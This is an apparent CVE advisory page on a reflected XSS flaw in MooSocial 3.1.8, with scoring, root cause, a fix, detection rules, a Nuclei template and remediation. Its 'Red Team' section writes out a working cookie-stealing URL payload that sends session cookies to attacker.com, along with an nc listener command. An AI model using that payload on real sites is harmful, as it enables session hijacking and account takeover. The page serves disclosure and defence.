CVE-2023-43326
Executive Summary
CVE-2023-43326 is a reflected cross-site scripting (XSS) vulnerability in MooSocial version 3.1.8. The flaw exists in multiple URLs, specifically the /users/change_email endpoint, where user-supplied input is not properly sanitized or encoded. An unauthenticated attacker can craft a malicious URL containing JavaScript payloads that, when visited by a victim, execute in the context of the victim's browser. This allows the attacker to steal session cookies and impersonate the victim's account. The vulnerability has a CVSS score of 6.1 (Medium) and a public proof-of-concept (PoC) is available. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects the MooSocial PHP application directly. No supply chain compromise is involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click the crafted link
- Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L) – session cookie theft
- Integrity Impact: Low (I:L) – attacker can perform actions as the victim
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to session hijacking and account impersonation.
Deep Dive & Mechanics
The vulnerability resides in the /users/change_email endpoint of MooSocial 3.1.8. The application does not properly sanitize or encode the email parameter in the URL. An attacker can inject arbitrary HTML and JavaScript by including a payload in the URL path or query string.
Root Cause: Lack of output encoding for user-controlled input in the change_email view. The application reflects the input directly into the HTML response without escaping special characters.
Attack Flow:
- Attacker crafts a URL like:
https://target.com/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3eahrixia?step1=1 - The URL-encoded payload decodes to:
ahrixia"><img src=a onerror=alert(document.domain)>ahrixia - When the victim visits this URL, the payload is reflected in the HTML response.
- The
<img>tag with an invalidsrctriggers theonerrorevent, executing the JavaScript. - The attacker can replace
alert(document.domain)with a payload that steals the victim's session cookie and sends it to an attacker-controlled server.
Impact: Successful exploitation allows the attacker to steal session cookies and impersonate the victim, gaining unauthorized access to the victim's account.
Vulnerable vs. Patched Code
Vulnerable Code (MooSocial 3.1.8):
The vulnerable code likely exists in a view file that renders the change_email page. The input is directly echoed without sanitization.
// Vulnerable: Direct output without encoding
echo $email;
Patched Code (Hypothetical):
A proper fix would use output encoding functions like htmlspecialchars() or htmlentities() in PHP.
// Patched: Output encoded
echo htmlspecialchars($email, ENT_QUOTES, 'UTF-8');
Note: No official patch has been released. The above is a recommended fix.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- MooSocial 3.1.8 instance
- A web browser or tool like
curl - A listener to capture cookies (e.g.,
nc -lvnp 8080)
Exploit Steps:
- Craft a malicious URL that steals cookies:
https://target.com/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dthis.src%3d'http://attacker.com/steal%3fcookie%3d'%2bdocument.cookie%3eahrixia?step1=1 - Send the URL to the victim via phishing email or social engineering.
- When the victim clicks the link, the JavaScript executes and sends the cookie to the attacker's server.
- The attacker captures the cookie and uses it to impersonate the victim.
Exploit-DB Code: None available.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
/users/change_emailcontaining suspicious characters like%22,%3e,<,>, oronerror. - Use WAF rules to block requests with XSS payloads in the URL.
Hunting:
- Search for HTTP requests with
step1=1and unusualemailparameters. - Analyze server logs for 404 responses to
/users/change_emailwith injected HTML.
Lab Setup:
- Deploy a MooSocial 3.1.8 instance in a sandboxed environment.
- Use a tool like Burp Suite to intercept and modify requests.
- Set up a listener to capture exfiltrated cookies.
Indicators of Compromise (IOCs)
- URL Pattern:
/users/change_email*containing URL-encoded HTML tags or JavaScript event handlers. - HTTP Request: GET request to
/users/change_emailwithstep1=1and a payload in the path. - Response Body: HTML response containing
<img src=a onerror=...>or similar XSS payloads. - Network Traffic: Outbound connections from the victim's browser to an attacker-controlled IP/domain with cookie data in the URL.
- Log Entry: Web server log showing a 404 status code for a request to
/users/change_emailwith a long, suspicious path.
Detection Engineering
YARA Rule
rule MooSocial_XSS_CVE_2023_43326 {
meta:
description = "Detects XSS payloads in MooSocial change_email endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-43326"
strings:
$payload1 = /\/users\/change_email[^?]*%22.*%3e.*onerror/i
$payload2 = /\/users\/change_email[^?]*<img.*onerror/i
$payload3 = /\/users\/change_email[^?]*<script/i
condition:
any of them
}
Sigma Rule
title: MooSocial XSS Attempt via change_email Endpoint
id: 3a7b8c9d-1e2f-4a5b-8c7d-9e0f1a2b3c4d
status: experimental
description: Detects reflected XSS attempts against MooSocial 3.1.8
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-43326
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/users/change_email'
cs-uri-query|contains|all:
- '%22'
- '%3e'
- 'onerror'
condition: selection
falsepositives:
- Legitimate use of special characters in email parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"MooSocial XSS Attempt CVE-2023-43326"; flow:to_server,established; content:"GET"; http_method; content:"/users/change_email"; http_uri; content:"%22"; http_uri; content:"%3e"; http_uri; content:"onerror"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2023-43326
info:
name: MooSocial 3.1.8 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
A reflected cross-site scripting (XSS) vulnerability exisits in multiple url of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
impact: |
Unauthenticated attackers can inject malicious JavaScript through URL parameters in the change_email endpoint to steal MooSocial user session cookies and impersonate victim accounts.
remediation: |
Update MooSocial to a version newer than 3.1.8 that properly sanitizes and encodes URL parameters in user management endpoints.
reference:
- https://github.com/ahrixia/CVE-2023-43326
- https://nvd.nist.gov/vuln/detail/CVE-2023-43326
- https://moosocial.com/
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-43326
cwe-id: CWE-79
epss-score: 0.34593
epss-percentile: 0.97023
cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: moosocial
product: moosocial
shodan-query: http.favicon.hash:"702863115"
fofa-query: icon_hash="702863115"
tags: cve2023,cve,xss,moosocial,vuln
http:
- method: GET
path:
- "{{BaseURL}}/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3eahrixia?step1=1"
matchers:
- type: dsl
dsl:
- 'status_code == 404'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooSocial")'
condition: and
Remediation & Mitigation
Immediate Actions:
- Input Sanitization: Implement proper output encoding for all user-controlled input in the
change_emailendpoint. Usehtmlspecialchars()in PHP or equivalent in other languages. - WAF Rules: Deploy Web Application Firewall rules to block requests containing XSS payloads in the URL.
- Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution.
- Session Security: Set
HttpOnlyandSecureflags on session cookies to prevent JavaScript access.
Long-Term Fix:
- Upgrade to a patched version of MooSocial if/when the vendor releases one.
- Conduct a full security audit of the application to identify similar vulnerabilities.
Workaround:
- If upgrading is not possible, manually edit the vulnerable view file to add output encoding.
Valters IT
{/* [Security Hash: 43AE3FF1E5C9593452DEE781] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.